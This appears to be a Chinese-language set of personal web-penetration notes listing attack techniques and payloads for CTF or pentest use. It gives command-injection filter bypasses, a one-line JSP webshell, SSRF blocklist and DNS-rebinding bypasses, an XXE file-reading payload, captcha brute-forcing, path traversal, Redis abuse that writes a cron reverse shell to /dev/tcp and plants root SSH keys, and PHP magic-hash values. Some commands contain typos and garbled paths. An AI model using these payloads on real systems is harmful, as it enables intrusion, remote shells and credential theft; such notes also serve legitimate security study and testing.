其他漏洞的想法
其他Web漏洞
-
命令注入
1)一句话木马中可用exec和system
2)利用&&和;(linux)执行多个指令
3)window
拦截时候空格也算一个字节即 | 不等于|空格
type 查看文件内容
-
屏蔽
1)屏蔽&&和;
用&
&;
||
指令1|指令2
2)屏蔽cat 等关键词
ca‘t’ ca\t ca””t
用more less head tail tac paste fmt fold uniq
dd if=filename cut -c 1- filename0g grep -e “.*” filename
od 读取并转为八进制输出 awk ‘{print $0}’ filename
curl file:///文件地址绝对路径
ca’t’ 22.ph* [22.ph.]
3)屏蔽空格
4)屏蔽\ /
\((printf\){IFS}”\57”) 将八进制转为ASCII字符
4)限制木马写入
windows:
set /p="<?php " >> 1.txt
linux:
echo '<?php ' >> zj.txt
echo -e 'eval(\c' >> zj.tx
5)文件问题 文件为this is key 有空格的文件 或者没有权限
“this is key“带双引号 chmod 777
6)报错用一个%80不存在的urlcode
7)常见程序语言命令执行函数
-
php
assert eval system shell_exec exec popen putenv passthru
-
asp
Eval Execute ExecuteGlobal
-
jsp
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
-
-
CSRF跨站请求伪造
1)发送自己已经修改密码的get连接给受害者,让受害者用他的cookies直接修改
2)越权
1.更改get请求,网页PHP的名称(部分网页admin和user界面名称不同)
2.偷admin的cookies
-
SSRF服务器伪造请求
1)文件流访问url = file:///c:/onefile
2)当做端口扫描 url = http://ip :port 可以获得端口相关内容
-
ssrf屏蔽
SSRF 禁用 127.0.0.1和内网ip后如何绕过?
(1) 利用进制转换
对于ip中的每一位可以进制混用
8进制格式:0300.0250.0.1 16进制格式:0xC0.0xA8.0.1 10进制整数格式:3232235521 16进制整数格式:0xC0A80001 合并后两位:1.1.278 / 1.1.755 合并后三位:1.278 / 1.755 / 3.14159267(2) 利用DNS解析
1)攻击者构建dns服务器,且设置缓存极小,TTL=1 2)第一次请求为合法地址,马上第二次请求为恶意地址 3)在恶意地址利用http等协议访问资源由于构建DNS的不易有免费的网站如下
https://lock.cmpxchg8b.com/rebinder.html
实际例子如下
利用第二个网站 A输入hacker_ip B输入目标ip 返回一个域名解析后最后得到hacker_ip
然后再hacker主机上写
<?php head(http://127.0.0.1/flag)?>###相当于一个网络访问工具向发包 被攻击网站xxxxx?url=http://7fxxxxxx01xxxxx.rbndr.us:9085
获得访问资源
########由于难以控制第一次合法地址和第二次非法地址的顺序,通常用burpsuite批量发包########(3) 利用句号(127。0。0。1)
(4)本地回环地址的其他形式
http://127.0.0.1 http://localhost http://127.255.255.254 127.0.0.1 - 127.255.255.254 ttp://[::]:80/ http://[::1] http://[::ffff:7f00:1] http://[::ffff:127.0.0.1] http://127.1 http://127.0.1 http://0:80(5) 利用@(http://example.com@127.0.0.1 );(6) 利用短地址( http://dwz.cn/11SMa);
推荐将长网站转换短地址的网站
(7) 利用 0.0.0.0 或者 localhost
(8)利用跳转http://httpbin.org/redict?url=http://192.168.231.1
(9)利用IPv6 http://[::::]:80/
(10)利用IDN 一些网络工具支持国际化例如curl
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ == example.com
所以可以用② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 代替数字123456789
-
-
XXE
<!xml version="1.0" encoding="utf-8"?> <!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///c:/a.txt">]> <user> <username>&xxe;</uesrname> //调用上面定义的xxe <passwd>passwd</passwd> </user> -
暴力破解
-
验证码
1)python 识别
2)server验证
(1)1.先只填用户密码,此时用burp抓包会抓到它的验证码
2.读取后添到要爆破的POST包中(2)先抓包不放,直接爆破
3)客户端验证(随便欺负)
关js,改代码
4)token验证
-
-
文件下载和目录遍历
分析下载方式,如get?filename=然后下载他的源代码
filename=../或者../../或者../../../有可能出现目录或文件夹
-
redis
-
计划任务执行
/var/spoof/cron /var/spoof/at
/etc/crontab
config set dir /var/spoof/cron 设置数据库备份文件到这个计划任务文件夹
config set dbfilename xxx随便设个数据库名
set dataxxx “bash -i &> /dev/tcp/ip/port 0&>1”
或者你报存时保存为xx.php 之后set dataxxxxx “”效果一样
save之后根据redis备份时间将shell放在计划任务文件夹,系统会执行它的
-
ssh免密登录
攻击机ssh-keygen -t rsa 在/root/.ssh/id_rsa.pub生成自己的ssh认证
然后登录redis
set keyxxxx “刚刚的文件” 一般cat /root/.ssh/id_rsa.pub | redis-cli -h 192.168.186.131 -x set data直接传入
config set dir /root/.ssh 设置数据库备份文件到这个计划任务文件夹
config set dbfilename xxx随便设个数据库名
save
然后就可以用ssh -i rsa root@ip
-
-
bypass
php弱类型比较 ==
1)当两个字符串以 '0e' 开头,后面跟着数字时,如果将它们进行松散类型比较在 PHP 7.4.0 之前的版本为true
2)231==’1231’
3)php漏洞如果md4 md5加密0exxx即md5(’IHKFRNS’)==’0e134234234’
md4 0e251288019 md5 IHKFRNS QLTHNDT QNKCDZO 3908336290 4011627063 4775635065 0e215962017 aabg7XSs aabC9RqS md5(md5) QNKCDZO aabg7XSs paulw gnom1sh e8ffc7e729a28827c31e7f5d87b115f7 aaroZmOk AappLeE Ba9ZyWx6 那么$pass = hash(’md4’,’11’); $pass == ‘0exxx’; 是正确的
4)php md5处理数组返回null get[$pass] pass[]=1解释为数组
5)

浙公网安备 33010602011771号